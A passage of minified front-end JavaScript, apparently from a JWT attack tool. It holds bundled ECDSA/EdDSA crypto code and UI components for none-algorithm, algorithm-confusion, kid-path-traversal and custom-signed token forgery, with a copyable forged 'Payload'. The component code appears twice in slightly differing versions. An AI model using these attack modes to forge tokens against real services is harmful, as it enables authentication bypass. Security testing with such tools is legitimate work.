p=t+n+a+o+b;return p>>>0}se.sum64_5_lo=mh;function gh(e,t,r){var n=t<<32-r|e>>>r;return n>>>0}se.rotr64_hi=gh;function yh(e,t,r){var n=e<<32-r|t>>>r;return n>>>0}se.rotr64_lo=yh;function xh(e,t,r){return e>>>r}se.shr64_hi=xh;function wh(e,t,r){var n=e<<32-r|t>>>r;return n>>>0}se.shr64_lo=wh;var yn={},qo=se,Sh=Ar;function xi(){this.pending=null,this.pendingTotal=0,this.blockSize=this.constructor.blockSize,this.outSize=this.constructor.outSize,this.hmacStrength=this.constructor.hmacStrength,this.padLength=this.constructor.padLength/8,this.endian="big",this._delta8=this.blockSize/8,this._delta32=this.blockSize/32}yn.BlockHash=xi;xi.prototype.update=function(t,r){if(t=qo.toArray(t,r),this.pending?this.pending=this.pending.concat(t):this.pending=t,this.pendingTotal+=t.length,this.pending.length>=this._delta8){t=this.pending;var n=t.length%this._delta8;this.pending=t.slice(t.length-n,t.length),this.pending.length===0&&(this.pending=null),t=qo.join32(t,0,t.length-n,this.endian);for(var i=0;i>>24&255,i[a++]=t>>>16&255,i[a++]=t>>>8&255,i[a++]=t&255}else for(i[a++]=t&255,i[a++]=t>>>8&255,i[a++]=t>>>16&255,i[a++]=t>>>24&255,i[a++]=0,i[a++]=0,i[a++]=0,i[a++]=0,s=8;s>>3}rr.g0_256=Ih;function Oh(e){return Vt(e,17)^Vt(e,19)^e>>>10}rr.g1_256=Oh;var fn=se,Bh=yn,kh=rr,na=fn.rotl32,An=fn.sum32,Ch=fn.sum32_5,Rh=kh.ft_1,Rf=Bh.BlockHash,$h=[1518500249,1859775393,2400959708,3395469782];function Xt(){if(!(this instanceof Xt))return new Xt;Rf.call(this),this.h=[1732584193,4023233417,2562383102,271733878,3285377520],this.W=new Array(80)}fn.inherits(Xt,Rf);var Th=Xt;Xt.blockSize=512;Xt.outSize=160;Xt.hmacStrength=80;Xt.padLength=64;Xt.prototype._update=function(t,r){for(var n=this.W,i=0;i<16;i++)n[i]=t[r+i];for(;ithis.blockSize&&(t=new this.Hash().update(t).digest()),wp(t.length<=this.blockSize);for(var r=t.length;r=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._init(t,r,n)}var Ep=Sr;Sr.prototype._init=function(t,r,n){var i=t.concat(r).concat(n);this.K=new Array(this.outLen/8),this.V=new Array(this.outLen/8);for(var a=0;a=this.minEntropy/8,"Not enough entropy. Minimum is: "+this.minEntropy+" bits"),this._update(t.concat(n||[])),this._reseed=1};Sr.prototype.generate=function(t,r,n,i){if(this._reseed>this.reseedInterval)throw new Error("Reseed is required");typeof r!="string"&&(i=n,n=r,r=null),n&&(n=Dr.toArray(n,i||"hex"),this._update(n));for(var a=[];a.length"};var ri=Nt,io=mt,Bp=io.assert;function wi(e,t){if(e instanceof wi)return e;this._importDER(e,t)||(Bp(e.r&&e.s,"Signature without r or s"),this.r=new ri(e.r,16),this.s=new ri(e.s,16),e.recoveryParam===void 0?this.recoveryParam=null:this.recoveryParam=e.recoveryParam)}var kp=wi;function Cp(){this.place=0}function sa(e,t){var r=e[t.place++];if(!(r&128))return r;var n=r&15;if(n===0||n>4)return!1;for(var i=0,a=0,s=t.place;a>>=0;return i<=127?!1:(t.place=s,i)}function Jo(e){for(var t=0,r=e.length-1;!e[t]&&!(e[t+1]&128)&&t>>3);for(e.push(r|128);--r;)e.push(t>>>(r<<3)&255);e.push(t)}wi.prototype.toDER=function(t){var r=this.r.toArray(),n=this.s.toArray();for(r[0]&128&&(r=[0].concat(r)),n[0]&128&&(n=[0].concat(n)),r=Jo(r),n=Jo(n);!n[0]&&!(n[1]&128);)n=n.slice(1);var i=[2];fa(i,r.length),i=i.concat(r),i.push(2),fa(i,n.length);var a=i.concat(n),s=[48];return fa(s,a.length),s=s.concat(a),io.encode(s,t)};var Fr=Nt,Hf=Ep,Rp=mt,la=gi,$p=Mf,Vf=Rp.assert,ao=Op,Si=kp;function Et(e){if(!(this instanceof Et))return new Et(e);typeof e=="string"&&(Vf(Object.prototype.hasOwnProperty.call(la,e),"Unknown curve "+e),e=la[e]),e instanceof la.PresetCurve&&(e={curve:e}),this.curve=e.curve.curve,this.n=this.curve.n,this.nh=this.n.ushrn(1),this.g=this.curve.g,this.g=e.curve.g,this.g.precompute(e.curve.n.bitLength()+1),this.hash=e.hash||e.curve.hash}var Tp=Et;Et.prototype.keyPair=function(t){return new ao(this,t)};Et.prototype.keyFromPrivate=function(t,r){return ao.fromPrivate(this,t,r)};Et.prototype.keyFromPublic=function(t,r){return ao.fromPublic(this,t,r)};Et.prototype.genKeyPair=function(t){t||(t={});for(var r=new Hf({hash:this.hash,pers:t.pers,persEnc:t.persEnc||"utf8",entropy:t.entropy||$p(this.hash.hmacStrength),entropyEnc:t.entropy&&t.entropyEnc||"utf8",nonce:this.n.toArray()}),n=this.n.byteLength(),i=this.n.sub(new Fr(2));;){var a=new Fr(r.generate(n));if(!(a.cmp(i)>0))return a.iaddn(1),this.keyFromPrivate(a)}};Et.prototype._truncateToN=function(t,r){var n=t.byteLength()*8-this.n.bitLength();return n>0&&(t=t.ushrn(n)),!r&&t.cmp(this.n)>=0?t.sub(this.n):t};Et.prototype.sign=function(t,r,n,i){typeof n=="object"&&(i=n,n=null),i||(i={}),r=this.keyFromPrivate(r,n),t=this._truncateToN(new Fr(t,16));for(var a=this.n.byteLength(),s=r.getPrivate().toArray("be",a),o=t.toArray("be",a),d=new Hf({hash:this.hash,entropy:s,nonce:o,pers:i.pers,persEnc:i.persEnc||"utf8"}),b=this.n.sub(new Fr(1)),p=0;;p++){var m=i.k?i.k(p):new Fr(d.generate(this.n.byteLength()));if(m=this._truncateToN(m,!0),!(m.cmpn(1)<=0||m.cmp(b)>=0)){var E=this.g.mul(m);if(!E.isInfinity()){var I=E.getX(),B=I.umod(this.n);if(B.cmpn(0)!==0){var C=m.invm(this.n).mul(B.mul(r.getPrivate()).iadd(t));if(C=C.umod(this.n),C.cmpn(0)!==0){var F=(E.getY().isOdd()?1:0)|(I.cmp(B)!==0?2:0);return i.canonical&&C.cmp(this.nh)>0&&(C=this.n.sub(C),F^=1),new Si({r:B,s:C,recoveryParam:F})}}}}}};Et.prototype.verify=function(t,r,n,i){t=this._truncateToN(new Fr(t,16)),n=this.keyFromPublic(n,i),r=new Si(r,"hex");var a=r.r,s=r.s;if(a.cmpn(1)<0||a.cmp(this.n)>=0||s.cmpn(1)<0||s.cmp(this.n)>=0)return!1;var o=s.invm(this.n),d=o.mul(t).umod(this.n),b=o.mul(a).umod(this.n),p;return this.curve._maxwellTrick?(p=this.g.jmulAdd(d,n.getPublic(),b),p.isInfinity()?!1:p.eqXToP(a)):(p=this.g.mulAdd(d,n.getPublic(),b),p.isInfinity()?!1:p.getX().umod(this.n).cmp(a)===0)};Et.prototype.recoverPubKey=function(e,t,r,n){Vf((3&r)===r,"The recovery param is more than two bits"),t=new Si(t,n);var i=this.n,a=new Fr(e),s=t.r,o=t.s,d=r&1,b=r>>1;if(s.cmp(this.curve.p.umod(this.curve.n))>=0&&b)throw new Error("Unable to find sencond key candinate");b?s=this.curve.pointFromX(s.add(this.curve.n),d):s=this.curve.pointFromX(s,d);var p=t.r.invm(i),m=i.sub(a).mul(p).umod(i),E=o.mul(p).umod(i);return this.g.mulAdd(m,s,E)};Et.prototype.getKeyRecoveryParam=function(e,t,r,n){if(t=new Si(t,n),t.recoveryParam!==null)return t.recoveryParam;for(var i=0;i<4;i++){var a;try{a=this.recoverPubKey(e,t,i)}catch{continue}if(a.eq(r))return i}throw new Error("Unable to find valid recovery factor")};var jn=mt,Kf=jn.assert,Yo=jn.parseBytes,Sn=jn.cachedProperty;function Xe(e,t){this.eddsa=e,this._secret=Yo(t.secret),e.isPoint(t.pub)?this._pub=t.pub:this._pubBytes=Yo(t.pub)}Xe.fromPublic=function(t,r){return r instanceof Xe?r:new Xe(t,{pub:r})};Xe.fromSecret=function(t,r){return r instanceof Xe?r:new Xe(t,{secret:r})};Xe.prototype.secret=function(){return this._secret};Sn(Xe,"pubBytes",function(){return this.eddsa.encodePoint(this.pub())});Sn(Xe,"pub",function(){return this._pubBytes?this.eddsa.decodePoint(this._pubBytes):this.eddsa.g.mul(this.priv())});Sn(Xe,"privBytes",function(){var t=this.eddsa,r=this.hash(),n=t.encodingLength-1,i=r.slice(0,t.encodingLength);return i[0]&=248,i[n]&=127,i[n]|=64,i});Sn(Xe,"priv",function(){return this.eddsa.decodeInt(this.privBytes())});Sn(Xe,"hash",function(){return this.eddsa.hash().update(this.secret()).digest()});Sn(Xe,"messagePrefix",function(){return this.hash().slice(this.eddsa.encodingLength)});Xe.prototype.sign=function(t){return Kf(this._secret,"KeyPair can only verify"),this.eddsa.sign(t,this)};Xe.prototype.verify=function(t,r){return this.eddsa.verify(t,r,this)};Xe.prototype.getSecret=function(t){return Kf(this._secret,"KeyPair is public only"),jn.encode(this.secret(),t)};Xe.prototype.getPublic=function(t){return jn.encode(this.pubBytes(),t)};var Pp=Xe,Np=Nt,Mi=mt,zp=Mi.assert,_i=Mi.cachedProperty,Dp=Mi.parseBytes;function Jr(e,t){this.eddsa=e,typeof t!="object"&&(t=Dp(t)),Array.isArray(t)&&(t={R:t.slice(0,e.encodingLength),S:t.slice(e.encodingLength)}),zp(t.R&&t.S,"Signature without R or S"),e.isPoint(t.R)&&(this._R=t.R),t.S instanceof Np&&(this._S=t.S),this._Rencoded=Array.isArray(t.R)?t.R:t.Rencoded,this._Sencoded=Array.isArray(t.S)?t.S:t.Sencoded}_i(Jr,"S",function(){return this.eddsa.decodeInt(this.Sencoded())});_i(Jr,"R",function(){return this.eddsa.decodePoint(this.Rencoded())});_i(Jr,"Rencoded",function(){return this.eddsa.encodePoint(this.R())});_i(Jr,"Sencoded",function(){return this.eddsa.encodeInt(this.S())});Jr.prototype.toBytes=function(){return this.Rencoded().concat(this.Sencoded())};Jr.prototype.toHex=function(){return Mi.encode(this.toBytes(),"hex").toUpperCase()};var Fp=Jr,Lp=yi,jp=gi,cn=mt,Up=cn.assert,Wf=cn.parseBytes,Jf=Pp,Xo=Fp;function lt(e){if(Up(e==="ed25519","only tested with ed25519 so far"),!(this instanceof lt))return new lt(e);e=jp[e].curve,this.curve=e,this.g=e.g,this.g.precompute(e.n.bitLength()+1),this.pointClass=e.point().constructor,this.encodingLength=Math.ceil(e.n.bitLength()/8),this.hash=Lp.sha512}var qp=lt;lt.prototype.sign=function(t,r){t=Wf(t);var n=this.keyFromSecret(r),i=this.hashInt(n.messagePrefix(),t),a=this.g.mul(i),s=this.encodePoint(a),o=this.hashInt(s,n.pubBytes(),t).mul(n.priv()),d=i.add(o).umod(this.curve.n);return this.makeSignature({R:a,S:d,Rencoded:s})};lt.prototype.verify=function(t,r,n){t=Wf(t),r=this.makeSignature(r);var i=this.keyFromPublic(n),a=this.hashInt(r.Rencoded(),i.pubBytes(),t),s=this.g.mul(r.S()),o=r.R().add(i.pub().mul(a));return o.eq(s)};lt.prototype.hashInt=function(){for(var t=this.hash(),r=0;r{gr("jwt-public-key",["focus:border-error","border-error"]),yr("jwt-public-key",["focus:border-secondary-300","border-secondary-300"]);let{useJwk:a,secretKey:o,algorithm:s}=n.options;if(a)try{const c=JSON.parse(i.value);o=m1(c)}catch(c){gr("jwt-public-key",["focus:border-secondary-300","border-secondary-300"]),yr("jwt-public-key",["focus:border-error","border-error"]),console.error(c);return}else o=i.value;try{if(s&&o){const c=await r0(r.value,o,s);t.payload=c}}catch(c){sf(["jwt-token"]),console.error(c);return}}),(a,o)=>{const s=Qt,c=oi,b=Dn,p=qa;return G(),oe(pn,null,[ne("div",g1,[he(b,{modelValue:Z(n).options.algorithm,"onUpdate:modelValue":o[0]||(o[0]=m=>Z(n).options.algorithm=m),options:Object.keys(Z(St)).filter(m=>m.startsWith("HS")),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm to confuse"},{default:et(({open:m})=>[he(c,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(ct(Z(n).options.algorithm)+" ",1),he(s,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[m&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])]),ne("div",y1,[x1,ne("div",w1,[as(ne("input",{id:"jwk-checkbox",name:"jwk-checkbox",type:"checkbox","onUpdate:modelValue":o[1]||(o[1]=m=>Z(n).options.useJwk=m),class:"mb-4"},null,512),[[hl,Z(n).options.useJwk]]),S1]),he(p,{autoresize:"",modelValue:Z(i),"onUpdate:modelValue":o[2]||(o[2]=m=>Ea(i)?i.value=m:null),variant:"none",rows:10,id:"jwt-public-key",spellcheck:"false",textareaClass:"text-md p-4 w-full bg-secondary border border-secondary-300 focus:border-secondary-300"},null,8,["modelValue"])])],64)}}}),_1={class:"flex justify-center"},E1=xe({__name:"kid-path-traversal",setup(e){const t=bn({options:{payload:Tn.RANDOMIZE_VA_SPACE},algorithms:Object.values(St)}),r=Fn(),n=si().value,i=_r().value;return Je(t,async()=>{try{const a=await Fo(r.value,t.options.payload);r.value=a,n.header=JSON.stringify(qr(r.value)[0],null,2)}catch(a){console.error(a)}}),Je(r,async()=>{try{const a=await Fo(r.value,t.options.payload);r.value=a,i.payload=r.value}catch(a){console.error(a)}}),(a,o)=>{const s=Qt,c=oi,b=Dn;return G(),oe("div",_1,[he(b,{modelValue:Z(t).options.payload,"onUpdate:modelValue":o[0]||(o[0]=p=>Z(t).options.payload=p),options:Object.values(Z(Tn)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select file path"},{default:et(({open:p})=>[he(c,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(ct(Z(t).options.payload)+" ",1),he(s,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[p&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}}),A1={key:0},I1={key:1},O1={key:2},B1={key:3},k1=xe({__name:"attack-options",setup(e){const t=_r().value;return(r,n)=>{const i=fc,a=i0,o=M1,s=E1;return G(),oe("div",null,[Z(t).attack==Z(qt).CUSTOM?(G(),oe("div",A1,[he(i)])):Ce("",!0),Z(t).attack==Z(qt).NONE_ATTACK?(G(),oe("div",I1,[he(a)])):Ce("",!0),Z(t).attack==Z(qt).ALGORITHM_CONFUSION?(G(),oe("div",O1,[he(o)])):Ce("",!0),Z(t).attack==Z(qt).KID_PATH_TRAVERSAL?(G(),oe("div",B1,[he(s)])):Ce("",!0)])}}}),C1={class:"flex flex-row space-x-8 mt-14 w-full justify-center"},R1={class:"col-span-1 md:col-span-1 flex flex-col"},$1=ne("label",{for:"encoded-token",class:"block text-left text-white font-normal pb-4 text-2xl"},"Encoded",-1),T1={class:"flex flex-col flex-1"},P1=ne("label",{for:"header",class:"block text-left text-white font-normal pb-4 text-2xl"},"Decoded",-1),N1={id:"header",class:"flex flex-col w-full divide-y divide-secondary-300 border border-secondary-300 bg-secondary rounded-md shadow-md text-lg flex-1",spellcheck:"false"},z1=ne("div",{class:"flex py-1.5 px-3"},[ne("span",{class:"text-white text-sm"},[Jt("HEADER: "),ne("span",{class:"text-gray-500"},"ALGORITHM & TOKEN TYPE")])],-1),D1=ne("div",{class:"flex py-1.5 px-3"},[ne("span",{class:"text-white text-sm"},[Jt("PAYLOAD: "),ne("span",{class:"text-gray-500"},"DATA")])],-1),F1={key:0,class:"flex py-1.5 px-3"},L1={class:"text-white text-sm"},j1={class:"text-gray-500"},U1={key:0},q1=xe({__name:"preview",setup(e){const t=_r().value,r=si().value,n=Fn();let i=qr(t.token);return r.header=JSON.stringify(i[0],null,2),r.payload=JSON.stringify(i[1],null,2),Je(async()=>t.token,async()=>{gr("jwt-token",["outline","outline-1","outline-error"]),yr("jwt-token",["focus:outline-none"]);try{n.value=t.token;const a=qr(t.token);r.header=JSON.stringify(a[0],null,2),r.payload=JSON.stringify(a[1],null,2)}catch(a){a instanceof of?(gr("jwt-token",["focus:outline-none"]),yr("jwt-token",["outline","outline-1","outline-error"])):console.error(a)}}),Je(r,async()=>{const a=n.value.split(".");if(gr("jwt-token-header",["border-error","focus:border-error"]),yr("jwt-token-header",["border-secondary","focus:border-secondary"]),gr("jwt-token-payload",["border-error","focus:border-error"]),yr("jwt-token-payload",["border-secondary","focus:border-secondary"]),a){try{a[0]=Qn(JSON.parse(r.header))}catch{gr("jwt-token-header",["border-secondary","focus:border-secondary"]),yr("jwt-token-header",["border-error","focus:border-error"])}try{a[1]=Qn(JSON.parse(r.payload))}catch{gr("jwt-token-payload",["border-secondary","focus:border-secondary"]),yr("jwt-token-payload",["border-error","focus:border-error"])}t.attack==qt.CUSTOM?(t.payload=await di({header:JSON.parse(r.header),payload:JSON.parse(r.payload),secretKey:r.secret}),n.value=t.payload):n.value=a.join(".")}}),(a,o)=>{const s=qa;return G(),oe("div",C1,[ne("div",R1,[$1,as(ne("textarea",{"onUpdate:modelValue":o[0]||(o[0]=c=>Z(t).token=c),id:"jwt-token",variant:"none",cols:50,spellcheck:"false",class:"text-white text-md h-full p-4 border border-secondary-300 bg-secondary focus:outline-none focus:border-secondary-300 rounded-md resize-none"},null,512),[[pl,Z(t).token]])]),ne("div",T1,[P1,ne("div",N1,[z1,he(s,{id:"jwt-token-header",autoresize:"",modelValue:Z(r).header,"onUpdate:modelValue":o[1]||(o[1]=c=>Z(r).header=c),variant:"none",rows:5,spellcheck:"false",textareaClass:"text-md text-jwt-header p-4 rounded-none border border-secondary focus:border-secondary"},null,8,["modelValue"]),D1,he(s,{id:"jwt-token-payload",autoresize:"",modelValue:Z(r).payload,"onUpdate:modelValue":o[2]||(o[2]=c=>Z(r).payload=c),variant:"none",spellcheck:"false",rows:8,textareaClass:"text-md text-jwt-payload p-4 rounded-t-none border border-secondary focus:border-secondary"},null,8,["modelValue"]),Z(t).attack==Z(qt).CUSTOM?(G(),oe("div",F1,[ne("span",L1,[Jt("SECRET: "),ne("span",j1,[Jt("KEY TO SIGN TOKEN "),JSON.parse(Z(r).header).alg.startsWith("HS")?Ce("",!0):(G(),oe("span",U1,"(RSA KEY)"))])])])):Ce("",!0),Z(t).attack==Z(qt).CUSTOM?(G(),Qe(s,{key:1,modelValue:Z(r).secret,"onUpdate:modelValue":o[3]||(o[3]=c=>Z(r).secret=c),variant:"none",spellcheck:"false",textareaClass:"text-md text-white p-4 rounded-t-none border border-secondary focus:border-secondary"},null,8,["modelValue"])):Ce("",!0)])])])}}}),H1=ne("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24","stroke-width":"1.5",stroke:"currentColor",class:"size-6"},[ne("path",{"stroke-linecap":"round","stroke-linejoin":"round",d:"M11.35 3.836c-.065.21-.1.433-.1.664 0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75 2.25 2.25 0 0 0-.1-.664m-5.8 0A2.251 2.251 0 0 1 13.5 2.25H15c1.012 0 1.867.668 2.15 1.586m-5.8 0c-.376.023-.75.05-1.124.08C9.095 4.01 8.25 4.973 8.25 6.108V8.25m8.9-4.414c.376.023.75.05 1.124.08 1.131.094 1.976 1.057 1.976 2.192V16.5A2.25 2.25 0 0 1 18 18.75h-2.25m-7.5-10.5H4.875c-.621 0-1.125.504-1.125 1.125v11.25c0 .621.504 1.125 1.125 1.125h9.75c.621 0 1.125-.504 1.125-1.125V18.75m-7.5-10.5h6.375c.621 0 1.125.504 1.125 1.125v9.375m-8.25-3 1.5 1.5 3-3.75"})],-1),V1=[H1],K1=xe({__name:"ClipboardButton",props:{textToCopy:{type:String,required:!0}},setup(e){const t=i=>{Yn(i,{autoClose:1e3,position:Yn.POSITION.BOTTOM_RIGHT,type:"success",theme:"dark",transition:"zoom",toastStyle:{backgroundColor:"#161B22"}})},r=e,n=()=>{r.textToCopy&&navigator.clipboard.writeText(r.textToCopy).then(()=>{t("Copied to clipboard!")}).catch(i=>{console.error(i)})};return(i,a)=>(G(),oe("button",{onClick:a[0]||(a[0]=o=>n()),type:"button",class:"focus:outline-none focus-visible:outline-0 flex-shrink-0 font-medium rounded-md text-xs text-gray-400 hover:text-gray-200 underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-400 inline-flex items-center absolute top-1.5 right-1.5","aria-label":"Copy code to clipboard",tabindex:"-1"},V1))}}),W1=ne("label",{for:"payload",class:"block text-left text-white font-normal text-2xl mb-4"},"Payload",-1),J1={class:"w-full relative border border-secondary-300 bg-secondary rounded-md"},Y1={class:"px-6 py-6"},X1=xe({__name:"payload-preview",setup(e){const t=_r().value,r=i=>{Yn(i,{autoClose:1e3,position:Yn.POSITION.BOTTOM_RIGHT,type:"success",theme:"dark",transition:"zoom",toastStyle:{backgroundColor:"#161B22"}})},n=i=>{i&&navigator.clipboard.writeText(i).then(()=>{r("Copied to clipboard!")}).catch(a=>{console.error(a)})};return(i,a)=>{const o=K1,s=qa;return G(),oe(pn,null,[W1,ne("div",J1,[he(o,{"text-to-copy":Z(t).payload},null,8,["text-to-copy"]),ne("div",Y1,[he(s,{onClick:a[0]||(a[0]=c=>n(Z(t).payload)),"aria-readonly":"true",autoresize:"",modelValue:Z(t).payload,"onUpdate:modelValue":a[1]||(a[1]=c=>Z(t).payload=c),variant:"none",rows:0,spellcheck:"false",textareaClass:"text-md w-full focus:outline-none text-jwt-sign focus:border-gray-600 cursor-default"},null,8,["modelValue"])])])],64)}}}),G1={class:"flex flex-col"},Z1={class:"flex flex-col items-center min-h-screen pt-20"},Q1={class:"w-full max-w-7xl text-center space-y-8"},eb={class:"flex justify-center mt-8"},tb={class:"pb-16"},fb=xe({__name:"index",async setup(e){let t,r;const n=_r().value,i=Fn();return n.token=([t,r]=Vi(()=>ea()),t=await t,r(),t),n.payload=([t,r]=Vi(()=>ea()),t=await t,r(),t),i.value=([t,r]=Vi(()=>ea()),t=await t,r(),t),(a,o)=>{const s=Pl,c=tc,b=k1,p=q1,m=X1;return G(),oe("div",G1,[he(s),ne("div",Z1,[ne("div",Q1,[ne("div",eb,[he(c)]),ne("div",null,[he(b)]),ne("div",null,[he(p)]),ne("div",tb,[he(m)])])])])}}});export{fb as default}; +`),r}var d1=c1,h1=a1,p1=d1;function b1(e,t){if(typeof e!="object"||e===null)throw new TypeError('Expected "jwk" to be an Object');var r=e.kty;if(typeof r!="string")throw new TypeError('Expected "jwk.kty" to be a String');switch(t=t||{},t.private=t.private===!0,r){case"EC":return h1(e,t);case"RSA":return p1(e,t);default:throw new Error('Unsupported key type "'+r+'"')}}var v1=b1;const m1=ud(v1),g1={class:"flex justify-center"},y1={class:"flex flex-col w-full text-left"},x1=ne("label",{for:"header",class:"block text-white font-normal pb-4 text-2xl"},"Public Key",-1),w1={class:"space-x-2"},S1=ne("label",{for:"jwk-checkbox"},"Use JWK to sign token",-1),M1=xe({__name:"algorithm-confusion",setup(e){const t=_r().value,r=Fn(),n=bn({algorithms:[St.RS256,St.RS384,St.RS512],options:{useJwk:!1,secretKey:"",algorithm:St.HS256}}),i=re("");return Je([r,i,n],async()=>{gr("jwt-public-key",["focus:border-error","border-error"]),yr("jwt-public-key",["focus:border-secondary-300","border-secondary-300"]);let{useJwk:a,secretKey:s,algorithm:o}=n.options;if(a)try{const d=JSON.parse(i.value);s=m1(d)}catch(d){gr("jwt-public-key",["focus:border-secondary-300","border-secondary-300"]),yr("jwt-public-key",["focus:border-error","border-error"]),console.error(d);return}else s=i.value;try{if(o&&s){const d=await r0(r.value,s,o);t.payload=d}}catch(d){sf(["jwt-token"]),console.error(d);return}}),(a,s)=>{const o=Qt,d=oi,b=Dn,p=qa;return G(),oe(pn,null,[ne("div",g1,[he(b,{modelValue:Z(n).options.algorithm,"onUpdate:modelValue":s[0]||(s[0]=m=>Z(n).options.algorithm=m),options:Object.keys(Z(St)).filter(m=>m.startsWith("HS")),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select algorithm to confuse"},{default:et(({open:m})=>[he(d,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(dt(Z(n).options.algorithm)+" ",1),he(o,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[m&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])]),ne("div",y1,[x1,ne("div",w1,[as(ne("input",{id:"jwk-checkbox",name:"jwk-checkbox",type:"checkbox","onUpdate:modelValue":s[1]||(s[1]=m=>Z(n).options.useJwk=m),class:"mb-4"},null,512),[[hl,Z(n).options.useJwk]]),S1]),he(p,{autoresize:"",modelValue:Z(i),"onUpdate:modelValue":s[2]||(s[2]=m=>Ea(i)?i.value=m:null),variant:"none",rows:10,id:"jwt-public-key",spellcheck:"false",textareaClass:"text-md p-4 w-full bg-secondary border border-secondary-300 focus:border-secondary-300"},null,8,["modelValue"])])],64)}}}),_1={class:"flex justify-center"},E1=xe({__name:"kid-path-traversal",setup(e){const t=bn({options:{payload:Tn.RANDOMIZE_VA_SPACE},algorithms:Object.values(St)}),r=Fn(),n=si().value,i=_r().value;return Je(t,async()=>{try{const a=await Fo(r.value,t.options.payload);r.value=a,n.header=JSON.stringify(qr(r.value)[0],null,2)}catch(a){console.error(a)}}),Je(r,async()=>{try{const a=await Fo(r.value,t.options.payload);r.value=a,i.payload=r.value}catch(a){console.error(a)}}),(a,s)=>{const o=Qt,d=oi,b=Dn;return G(),oe("div",_1,[he(b,{modelValue:Z(t).options.payload,"onUpdate:modelValue":s[0]||(s[0]=p=>Z(t).options.payload=p),options:Object.values(Z(Tn)),size:"lg",color:"gray",class:"w-1/3",placeholder:"Select file path"},{default:et(({open:p})=>[he(d,{color:"gray",class:"flex-1 justify-between py-2.5"},{default:et(()=>[Jt(dt(Z(t).options.payload)+" ",1),he(o,{name:"i-heroicons-chevron-right-20-solid",class:ae(["w-5 h-5 transition-transform text-gray-400 dark:text-gray-500",[p&&"transform rotate-90"]])},null,8,["class"])]),_:2},1024)]),_:1},8,["modelValue","options"])])}}}),A1={key:0},I1={key:1},O1={key:2},B1={key:3},k1=xe({__name:"attack-options",setup(e){const t=_r().value;return(r,n)=>{const i=fd,a=i0,s=M1,o=E1;return G(),oe("div",null,[Z(t).attack==Z(qt).CUSTOM?(G(),oe("div",A1,[he(i)])):Ce("",!0),Z(t).attack==Z(qt).NONE_ATTACK?(G(),oe("div",I1,[he(a)])):Ce("",!0),Z(t).attack==Z(qt).ALGORITHM_CONFUSION?(G(),oe("div",O1,[he(s)])):Ce("",!0),Z(t).attack==Z(qt).KID_PATH_TRAVERSAL?(G(),oe("div",B1,[he(o)])):Ce("",!0)])}}}),C1={class:"flex flex-row space-x-8 mt-14 w-full justify-center"},R1={class:"col-span-1 md:col-span-1 flex flex-col"},$1=ne("label",{for:"encoded-token",class:"block text-left text-white font-normal pb-4 text-2xl"},"Encoded",-1),T1={class:"flex flex-col flex-1"},P1=ne("label",{for:"header",class:"block text-left text-white font-normal pb-4 text-2xl"},"Decoded",-1),N1={id:"header",class:"flex flex-col w-full divide-y divide-secondary-300 border border-secondary-300 bg-secondary rounded-md shadow-md text-lg flex-1",spellcheck:"false"},z1=ne("div",{class:"flex py-1.5 px-3"},[ne("span",{class:"text-white text-sm"},[Jt("HEADER: "),ne("span",{class:"text-gray-500"},"ALGORITHM & TOKEN TYPE")])],-1),D1=ne("div",{class:"flex py-1.5 px-3"},[ne("span",{class:"text-white text-sm"},[Jt("PAYLOAD: "),ne("span",{class:"text-gray-500"},"DATA")])],-1),F1={key:0,class:"flex py-1.5 px-3"},L1={class:"text-white text-sm"},j1={class:"text-gray-500"},U1={key:0},q1=xe({__name:"preview",setup(e){const t=_r().value,r=si().value,n=Fn();let i=qr(t.token);r.header=JSON.stringify(i[0],null,2),r.payload=JSON.stringify(i[1],null,2);function a(){try{return!JSON.parse(r.header).alg.startsWith("HS")}catch(s){return console.error(s),!1}}return Je(async()=>t.token,async()=>{gr("jwt-token",["outline","outline-1","outline-error"]),yr("jwt-token",["focus:outline-none"]);try{n.value=t.token;const s=qr(t.token);r.header=JSON.stringify(s[0],null,2),r.payload=JSON.stringify(s[1],null,2)}catch(s){s instanceof of?(gr("jwt-token",["focus:outline-none"]),yr("jwt-token",["outline","outline-1","outline-error"])):console.error(s)}}),Je(r,async()=>{const s=n.value.split(".");let o,d;if(gr("jwt-token-header",["border-error","focus:border-error"]),yr("jwt-token-header",["border-secondary","focus:border-secondary"]),gr("jwt-token-payload",["border-error","focus:border-error"]),yr("jwt-token-payload",["border-secondary","focus:border-secondary"]),s){try{o=JSON.parse(r.header)}catch{gr("jwt-token-header",["border-secondary","focus:border-secondary"]),yr("jwt-token-header",["border-error","focus:border-error"])}try{d=JSON.parse(r.payload)}catch{gr("jwt-token-payload",["border-secondary","focus:border-secondary"]),yr("jwt-token-payload",["border-error","focus:border-error"])}s[0]=Qn(o),s[1]=Qn(d)}o&&d&&(t.attack==qt.CUSTOM?(t.payload=await ci({header:o,payload:d,secretKey:r.secret}),n.value=t.payload):n.value=s.join("."))}),(s,o)=>{const d=qa;return G(),oe("div",C1,[ne("div",R1,[$1,as(ne("textarea",{"onUpdate:modelValue":o[0]||(o[0]=b=>Z(t).token=b),id:"jwt-token",variant:"none",cols:50,spellcheck:"false",class:"text-white text-md h-full p-4 border border-secondary-300 bg-secondary focus:outline-none focus:border-secondary-300 rounded-md 